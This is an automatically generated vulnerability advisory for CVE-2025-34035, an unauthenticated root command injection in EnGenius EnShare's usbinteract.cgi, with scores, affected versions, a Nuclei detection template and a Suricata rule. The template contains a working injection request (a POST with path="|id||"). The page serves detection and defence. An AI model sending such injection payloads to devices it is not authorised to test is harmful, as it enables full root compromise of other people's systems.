VULNpocalypse

CVE-2025-34035: EnGenius EnShare IoT Gigabit Cloud Service Command Injection

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier. The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands. The injected commands are executed with root privileges, leading to full system compromise. Exploitation evidence was observed by the Shadowserver Foundation on 2024-12-05 UTC.

Description quoted from the CVE record (assigned by VulnCheck, published 2025-06-24).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Exploit-DB entry, 1 Nuclei template and 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 11 references on Exploit Observer

Live scores

EPSS
0.248
likely to be attacked soon
VEDAS
0.983
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
EnGenius EnShare IoT Gigabit Cloud Serviceup to and including 1.4.11Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

EnGenius EnShare Cloud Service - Command Injection

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier. The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST {{path}}); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-34035.yaml
Show the template (44 lines)
yaml
id: CVE-2025-34035

info:
  name: "EnGenius EnShare Cloud Service - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier. The
    usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing
    unauthenticated remote attackers to inject arbitrary shell commands.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-34035&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=engenius&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2025-34035
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2025,engenius,enshare,rce,vkev,vuln
http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=7&path="|id||"

    payloads:
      path:
        - "/web/cgi-bin/usbinteract.cgi"
        - "/cgi-bin/usbinteract.cgi"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body)"
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and

CVE-2025-34035.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-34035 EnGenius EnShare Cloud Service - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-34035 EnGenius EnShare Cloud Service - Command Injection"; flow:established,to_server; http.request_body; content:"|7c|id"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-34035; reference:url,https://www.exploit.observer/?keyword=CVE-2025-34035&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=engenius&match=exact; sid:1000249; rev:2;)

CVE-2025-34035.rules on GitHub

Advisories on this CVE

References

Exploit code

Technical analysis and advisories

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

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